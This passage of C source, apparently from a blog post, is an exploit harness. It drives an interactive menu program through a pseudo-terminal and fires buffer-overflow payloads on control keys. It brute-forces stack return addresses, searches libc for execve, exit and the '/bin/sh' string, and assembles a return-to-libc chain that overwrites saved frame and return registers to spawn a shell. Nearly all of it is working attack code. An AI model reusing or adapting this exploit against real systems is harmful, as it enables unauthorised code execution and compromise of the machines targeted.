			perror("---setsid failed\n");
		
		// Pushing modules to slave
		printf("---Pushing ptem module to slave\n"); ////sleep(1);
		if (ioctl(fd_slave, I_PUSH, "ptem") == -1)
			perror("---pushing ptem module failed\n");
		
		printf("---Pushing ldterm module to slave\n"); ////sleep(1);
		if (ioctl(fd_slave, I_PUSH, "ldterm") == -1)
			perror("---Pushing ldterm module failed\n");
		
		printf("---setting term settings\n");
		fflush(stdout);
		if (tcsetattr(fd_slave, TCSANOW, &term) < 0)
			perror ("---can't set termios\n");
		
		printf("---setting window settings\n");
		if (ioctl(fd_slave, TIOCSWINSZ, &twin) < 0)
			perror ("---can't set winsize\n");
		
		
		if (dup2(fd_slave, STDIN_FILENO) != STDIN_FILENO)
			perror ("---can't dup2 into stdin\n");
		
		if (dup2(fd_slave, STDOUT_FILENO) != STDOUT_FILENO)
			perror ("---can't dup2 into stdout\n");
		
		if (dup2(fd_slave, STDERR_FILENO) != STDERR_FILENO)
			perror ("---can't dup2 into stderr\n");
		
		//if (fd_slave > STDERR_FILENO)
			//close (fd_slave);
	
		stty_raw(STDIN_FILENO);	
		
	  execle("/bin/bash","/bin/bash",0,envp);	

		if (execle("/home/bazz/latest/invoke2","/home/bazz/latest/invoke2", "v", (char*) 0, envp) < 0)
			perror("---execle error!\n");
		
		printf("---exiting\n");
		fflush(stdout);
		sleep(5);
		exit(-1);
	}
	
	if (cpid > 0)
	{
		fd_set readset;
		int cexit; // child exit code
		int len, n, sel, susp = 0;
		char logfile[] = "/tmp/log.txt";
		
		
		logfd = open(logfile, O_CREAT|O_APPEND|O_WRONLY, S_IRWXU|S_IRWXG|S_IRWXO);
		if (logfd < 0)
			perror("opening log file failed\n");
		
		printf("In Parent: \n");
		/*printf("Telling master to forward SIGINT signals to slave\n"); ////sleep(1);
		if (ioctl(fd_master, TIOCSIGNAL, SIGINT) < 0)
			perror("Setting master to forward sigint to slave failed\n");*/
		
		
	
		stty_raw (STDIN_FILENO);

		//stty_raw (fd_master);
		
		fdmax = max(STDIN_FILENO, fd_slave);
		while (1)
		{
			do
			{
				FD_ZERO (&readset);
				FD_SET (STDIN_FILENO, &readset);
				FD_SET (fd_master, &readset);
				
				sel = select(fdmax + 1, &readset, NULL, NULL, NULL);
			}
			while (sel == -1 && errno == EINTR);
			if (sel == -1 && errno != EINTR)
			{
				printf ("select failed. errno = %d\n", errno);
				perror("");
			}
			
			if (FD_ISSET(STDIN_FILENO, &readset))
			{
				if ((n = read(STDIN_FILENO, buff, BUFF_SIZE)) < 1)
					exit (0);

				buff[n] = 0;
				if (strchr(buff,1))  // CTRL-A automate
				{				  	
					automate = !automate;
					continue;	
				}
				else if (strchr(buff,4))  // CTRL-D send buffer overflow
				{				  	
					int i;
					//buff2[6000] = 0x0a;
					//buff2[6001] = 0x00; 
					write (fd_master,buff2,buff2_fsf1_i7+4+12);///1104);
					//write (fd_master,"\x0a",1);
					//fflush(fd_master);
					//for (i=0;i < 421; i++)
					//	write (STDIN_FILENO, buff2[i], 1);
					continue;	
				}
				else if (strchr(buff,6))  // CTRL-F
				{				  	
					int i;
					//buff2[6000] = 0x0a;
					//buff2[6001] = 0x00; 

					send_peek_overflow();
					//write (fd_master,"\x0a",1);
					//fflush(fd_master);
					//for (i=0;i < 421; i++)
					//	write (STDIN_FILENO, buff2[i], 1);
					continue;	
				}
				else if (strchr(buff,12))  // CTRL-L
				{				  	
					//int i;
					//buff2[6000] = 0x0a;
					//buff2[6001] = 0x00; 
					peek_addr+=4;
					fprintf (stderr, "peekaddr = 0x%04x\n", peek_addr);
					
					write_peek_addrs();
					//write (fd_master,"\x0a",1);
					//fflush(fd_master);
					//for (i=0;i < 421; i++)
					//	write (STDIN_FILENO, buff2[i], 1);
					continue;	
				}
				else if (strchr(buff, 0x13)) // CTRL-S
				{
					// Do the algorithm
					static char count=1;
					static char updown=1; // up = 1, down = 0
					uint32_t MOS = 0xFFBEF400; // middle-of-stack
					static uint32_t bon = 1004-16;		// #bytes of nop - 8 to give some gift
					uint32_t calc_RA; //calculated return address 
					char r; //remainder for 4-byte-alignment check
					// 0xFFBEF000
					// from here can go up $1000 or down $1000

					if (updown)
					{
						calc_RA = MOS + (bon*count);
						if ( (r=calc_RA%4) )
						{
							for (; r; r--)
							{
								calc_RA--;
							}
						}
						if (calc_RA > 0xFFBEFFFF)
							calc_RA = 0xFFBEFFA0;
					}
					else
					{
						calc_RA = MOS - (bon*count);
						if ( (r=calc_RA%4) )
						{
							for (; r; r--)
							{
								calc_RA++;
							}
						}
						if (calc_RA < 0xFFBEE000)
							calc_RA = 0xFFBEE000;
					}

					updown = !updown;
					if (updown)
					{
						//bon = 2;
						count++;
					}
					
					// we're going to do stuff and then: 
					

					char c;
					c = ( calc_RA >> 24 ) & 0xff;
					buff2[1100] = c;
					c = ( calc_RA >> 16 ) & 0xff;
					buff2[1101] = c;
					c = ( calc_RA >> 8 ) & 0xff;
					buff2[1102] = c;
					c = ( calc_RA ) & 0xff;
					buff2[1103] = c;


					char msg[100];
					sprintf(msg,"RA = %4x\n", calc_RA);

					//char success[] = "success";
					write (STDOUT_FILENO,msg,14);
					continue;
				}
				else if (strchr(buff, CTRL_P)) // CTRL-P This works!
				{
					CTRL_Peek();
				}
				else if (strchr(buff, 0xE)) // CTRL-N This works! IT IS BAD IDEA TO USE CTRL-M. Thats enter key!
				{
					char buf[50];
					unsigned long addr;
					fprintf(stderr, "Enter addr: ");
					scanf("%s", &buf);
					addr = strtoul( buf, (void *)0, 0 );
					if (addr == 0)
						fprintf(stderr, "crap something crapped out in conversion");
					//selection = getchar();
					//selection =  (selection - '0') % 48;
					fprintf(stderr, "0x%lx\n", addr);
					continue;
				}
				else if (strchr(buff, CTRL_BACKSLASH)) 
				{
					stty_raw(fd_slave);
					continue;
				}
				else if (strchr(buff, CTRL_CLOSED_BRACKET)) 
				{
					stty_cooked(fd_slave);
					continue;
				}
					
				//write (logfd, buff, n);
				write (fd_master, buff, n);
			}
			
			if (FD_ISSET(fd_master, &readset))
			{
				if ((n = read(fd_master, buff, BUFF_SIZE)) < 1)
					exit (0);

				buff[n]=0;

				if (automate) 
				{
					if (peek_libc)
					{
						if (peek_system)
						{
							//static char count=0;
							char *matchone = strstr(buff, SYSTEM_LINE_STR);

							if (matchone)
							{
								char buf[10000];
								//char *match2;
								uint32_t *p_target_op;
								 // 2 stages 
								static uint32_t call_execve_addr=0;
								static uint32_t save_addr=0;


								matchone += 4; // " 1) "
								strcpy(buf,matchone);
								p_target_op = (uint32_t *)&buf[0];

								printf ("p_target_op = %lx\n", *p_target_op);


								//if (system_stage == 0)
								//{
									uint32_t *PC = &libc_system_addr;
									if (libc_execve_addr == 0)
									{
										print ("Bad Execve addr. Did you set it?\n");
										automate=0;
										peek_system=0;
									}
									uint32_t *DEST = &libc_execve_addr;
									uint32_t call_op;

									if (*PC > *DEST)
									{
									  call_op = ( ( ( (*PC - *DEST)  ^ 0xFFFFFFFF) + 1) >> 2) | 0x40000000;
									}
									else
									{
									  call_op = ( (*DEST - *PC) >> 2) | 0x40000000;
									}

									if (call_op == *p_target_op)
									{
										char addrbuff[50];
										//
										if (save_addr == 0)
										{
											print ("ERROR: no save ADDR??!!?\n");
										}
										call_execve_addr = libc_system_addr;
										sprintf (addrbuff, "call <execve> @ 0x%4lx\nsystem() @ 0x%4lx\n", call_execve_addr,save_addr);
										
										write (logfd, addrbuff, strlen(addrbuff));
										print (addrbuff);
										
										// stage++;
									}
								/*}
								else
								{*/
									if ( ((*p_target_op & SAVE_SKELETON) ==  SAVE_SKELETON) && !(*p_target_op & SAVE_SKELETON_MUSTBEZERO_BITMASK) )
									{
										save_addr = *PC;
										
										//char addrbuff[50];
										//sprintf (addrbuff, "save@ 0x%4x\n",  libc_execve_addr);
										//write (logfd, addrbuff, strlen(addrbuff));
										//write (STDOUT_FILENO, buff, match2-buff);
										print ("save @ 0x%lx", save_addr);
									}
								//}								
							}	
						}
						if (peek_execve)
						{
							fprintf(stderr, "Execve Trap Peek: 0x%04lx", libc_execve_addr);
							//static char count=0;
							char *matchone = strstr(buff, EXECVE_LINE_STR);

							if (matchone)
							{
								char *match2;
								matchone += 4; // " 1) "
								

								if ( (match2=strstr(matchone, EXECVE_TRAP_STR)) )
								{
									if (match2 > matchone)
									{
										libc_execve_addr += (match2 - matchone);
									}

									automate =0;
									peek_execve=0;
									
									char addrbuff[50];
									sprintf (addrbuff, "execve@ 0x%4x\n",  libc_execve_addr);
									write (logfd, addrbuff, strlen(addrbuff));
									//write (STDOUT_FILENO, buff, match2-buff);
									print ("execve found at 0x%lx", libc_execve_addr);
								}
							}	
							
						}
						if (peek_exit)
						{
							//static char count=0;
							char *matchone = strstr(buff, EXIT_LINE_STR);

							if (matchone)
							{
								matchone += 4; // " 1) "
								//fprintf(stderr, "MATCH ONE");
								char *match2;

								if ( (match2=strstr(matchone, RET_RESTORE_STR)) )
								{
									fprintf(stderr, "MATCH# %d: ", libc_exit_possible_match);
									fprintf(stderr, "Exit() Peek: 0x%04lx\n", libc_exit_addr);

									if (libc_exit_possible_match == 0)
									{
										if (match2 > matchone)
										{
											libc_exit_addr += (match2 - matchone);
										}
										libc_exit_addr_start = libc_exit_addr;

										automate =0;
										peek_exit=0;
										
										char addrbuff[50];
										sprintf (addrbuff, "Ret/Restore@ 0x%4x\n",  libc_exit_addr_start);
										write (logfd, addrbuff, strlen(addrbuff));
										//write (STDOUT_FILENO, buff, match2-buff);
										print ("Ret/Restore found at 0x%lx", libc_exit_addr);
										retrestore_addr = libc_exit_addr;
										//continue;
									}
									if (exit_map[libc_exit_possible_match].offset == 0)
									{
										char addrbuff[50];
										automate =0;
										peek_exit=0;

										// NEED TO SPECIFY
										//uint32_t *addr = (uint32_t *)&buff3[1560];
										sprintf (addrbuff, "Exit()@ 0x%4x\n",  libc_exit_addr_start);

										// log the address!! 
										write (logfd, addrbuff, strlen(addrbuff));

									}
									libc_exit_addr += exit_map[libc_exit_possible_match++].offset;
									//libc_exit_possible_match++;
								}
								else if (libc_exit_possible_match)
								{
									libc_exit_possible_match=0;
									libc_exit_addr = libc_exit_addr_start;
								}
								/*else if (count)
								{automate = 0;}
								else count++;*/
							}
							
							
						}
						if (peek_binsh)
						{
							if (strstr(buff, "1) /bin/sh"))
							{
								char addrbuff[50];
								uint32_t *addr = (uint32_t *)&buff3[1560];
								sprintf (addrbuff, "\"/bin/sh\\0\"@ 0x%4x\n",  *addr);

								// log the address!! 
								print ("\"/bin/sh\" found @ 0x%lx", *addr);
								write (logfd, addrbuff, strlen(addrbuff));

								// take a pause, stop searching binsh
								automate = 0;
								peek_binsh=0;
							}
						}
					}

					// currently designed to be in the first entry of ParamSet!!
					else if (peek_stack)	// look for Groups() return address signature :) 
					{
						if (strstr(buff, "1) \x01\x14\x24"))
						{
							char addrbuff[50];
							uint32_t i7addr, fpaddr, fsf1_sp, fsf2_sp;
							uint32_t *paddr = (uint32_t *)&buff3[1560]; // will have to be modified to REFLECT VARIABLE INDEX
							
							

							// this addr is Groups() %i7 +1 (whole address is 0x00011424, had to skipp null byte)
							i7addr = *paddr-1;
							fpaddr = *paddr-5;
							// Groups() has 0×40 bytes free at 0×44 bytes after the overwritten %i7
							fsf1_sp = i7addr + 0x44;
							print("FOUND fsf1_sp @ 0x%lx", fsf1_sp);
							sprintf (addrbuff, "%%fsf1_sp@ 0x%4x -- this goes in regular buffer %%fp\n",  fsf1_sp);
							paddr = (uint32_t *)&buff2[buff2_fp_offset];
							*paddr = fsf1_sp;

							// the following should be put when LIBC values are KNOWN/
							// this si JUST A TEST
							paddr = (uint32_t *)&buff2[buff2_i7_offset];
							//*paddr = libc_system_addr;
						  *paddr = retrestore_addr-8;

							// Group() count variable
							paddr = (uint32_t *)&buff2[buff2_i7_offset+0x2C];
							*paddr = 4; // set the Groups()'s count  variable > 0 so we can quit out


							// the following would be to system() - 4 (skip save)
							paddr = (uint32_t *)&buff2[buff2_i7_offset-4];
							*paddr = fsf1_sp;
							// set it

							// "/bin/sh"
							paddr = (uint32_t *)&buff2[buff2_fsf1_i0];
							*paddr = libc_binsh_addr; // 0xff32a240;
							paddr++;
							*paddr = fsf1_sp+(18*4);
							paddr++;
							*paddr = fsf1_sp+(19*4);

							// let's make the **argv
							//

 
							paddr = (uint32_t *)&buff2[buff2_fsf1_fp];

							// known good values are fpaddr-0x200 and fpaddr+0x100
							*paddr = fpaddr-0x200; // exit()
							if (!(*paddr & 0x0000ff00))
							{
								*paddr|=0x100;
							}
							if (!(*paddr & 0x000000ff))
							{
								*paddr+=4;
							}    

							paddr = (uint32_t *)&buff2[buff2_fsf1_i7];
							//*paddr = libc_exit_addr; // 0xff31ff98; // exit()
							*paddr = libc_execve_addr-8;
							
							paddr += 3;
							*paddr = libc_binsh_addr;
							
							/////////
							// Do appropriate math



							// log the address!! 
							write (logfd, addrbuff, strlen(addrbuff));
							automate = 0;
						}
					}

					static char first_hit=1;

					// THIS STUFF ALWAYS GET AUTOMATED..
					if (strstr(buff, "Press RETURN to continue."))
					{
						// send CTRL-J
						fprintf (stderr, "1");
						write (fd_master, "\n", 1);
					}
					else if (strstr(buff, "Do you already have an account with us (y or n)?"))
					{
						write (fd_master, "n\n", 2);
					}
					else if (strstr(buff, "Login name?"))
					{
						write (fd_master, "n\n", 2);
					}
					else if (strstr(buff, "Full name?"))
					{
						write (fd_master, "n\n", 2);
					}
					else if (strstr(buff, "Password:"))
					{
						write (fd_master, "n\n", 2);
					}
					else if (strstr(buff, "Again:"))
					{
						write (fd_master, "n\n", 2);
					}
					else if (strstr(buff, "Menu item number [1-7] or command [tpx?] :"))
					{
						write (fd_master, "1\n", 2);
					}
					else if (strstr(buff, "command [cptqx?]"))
					{
						//fprintf(stderr, "BAM!!!!!");
						// set a flag to start tracking for /bin/sh if it's not already set/
						// or just do it everytime (will miss the first time no matter what)
						
						
							// update the address
							//uint32_t pa = peek_addr;
						if (!first_hit)
						{
							if (peek_stack)
							{
								peek_addr+=4;

								if ( peek_addr >= 0xffbeffff )    //0xFF32C000) // libC max address
								{
									peek_addr = 0xffbefff0;  //0xff32c000-4;
									automate=0;
									fprintf (stderr, "Exhausted search. Shut off automation\n");
								}
								fprintf(stderr, "Stack Peek: 0x%04lx", peek_addr);
							}
							if (peek_libc)
							{
								if (peek_binsh)
								{
									libc_binsh_addr+=4;

									if (libc_binsh_addr >= libc_MAX_addr-0x08)
									{
										automate = 0;
									}

									fprintf(stderr, "\"/bin/sh\" Peek: 0x%04lx", libc_binsh_addr);
								}
								if (peek_execve)
								{
									libc_execve_addr+=4;

									if (libc_execve_addr >= libc_MAX_addr-0x08)
									{
										automate = 0;
									}
										
									
								}
								if (peek_system)
								{
									if (!libc_system_possible_match)
									{
										libc_system_addr+=4;

										if (libc_system_addr >= libc_MAX_addr-0x08)
										{
											automate = 0;
										}

										fprintf(stderr, "System Peek: 0x%04lx", libc_system_addr);
									}
								}

								if (peek_exit)
								{
									if (!libc_exit_possible_match)
									{
										libc_exit_addr+=4;

										if (libc_exit_addr >= libc_MAX_addr-0x08)
										{
											automate = 0;
										}

										fprintf(stderr, "Exit() Peek: 0x%04lx", libc_exit_addr);
									}
								}
							}
						}

						first_hit=0;
						

						write_peek_addrs();

						// resend the buffer
						usleep(100);
						send_peek_overflow();
						
					}
					else if (strstr(buff, "Do you want to just forget the whole thing (y or n)?"))
					{
						write (fd_master, "y\n", 2);
					}
					else if (strstr(buff, "--More--"))
					{
						write (fd_master, "q", 1);
					}
				}

				if (strchr(buff,3))  // CTRL-D
				{
					static int count=0;
					count++;
					if (count == 10)
					{
						//if (kill (cpid, 9) < 0)
							//perror ("kill child");
						//exit(1);
					}
					//write(STDOUT_FILENO, "SUCCESS DETECTED\n", 17);

					continue;
				}
				
				//if (!automate)
				write (STDOUT_FILENO, buff, n);
			}
			
		}
		
		
		if (close(fd_master) < 0)
			perror("Close master failed: ");
		
		
		printf("Closed master\nQuitting..\n");
		printf("Waiting for child..\n"); sleep(1);
		wait(&cexit);
	}
	else {
		perror("Fork failed\n");
	}

	return 0;
	
	
} // <br/>

Leave a Reply

Your email address will not be published. Required fields are marked *

*